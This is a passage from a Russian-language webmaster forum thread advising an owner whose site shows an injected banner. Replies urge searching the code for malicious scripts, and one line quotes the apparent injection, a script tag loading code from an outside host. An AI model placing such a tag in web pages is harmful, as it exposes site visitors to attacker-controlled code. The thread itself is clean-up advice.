Каким образом можно помочь убрать баннер не видя код? Занимаясь самостоятельным удалением вы можете не все удалить, проблемы будут повторятся
Ничего не мешает воспользоваться проксями, замучаетесь блокировать.
ТС коды могут находится в любом месте, дистанционно помочь тут вряд ли получится, нужно смотреть сам код движка.
На том форуме, который вы указали проблему не решили?
<script type="text/javascript" src="http://a.domen.co.vu/index.php"></script>
Права доступа могут вам не помочь, это вообще не панацея, ищите и смотрите код на предмет вредоносных скриптов
Т.С. не всегда можно помочь простым советом, необходимо смотреть код и находить все вредоносное. Возможно прописка делалась скриптом во всех html файлах, возможно что-то есть и в других файлах.
Отдельный фтп проблему вашу не решает.
Возможно все это временно или занимаются злоумышленники другим способом монетизации ваших сайтов.
Ставьте проверенные сервисы, проблем не слышал из-за подобных скриптов.
Злоумышленники делают спам рассылку, необходимо искать источник и удалять его.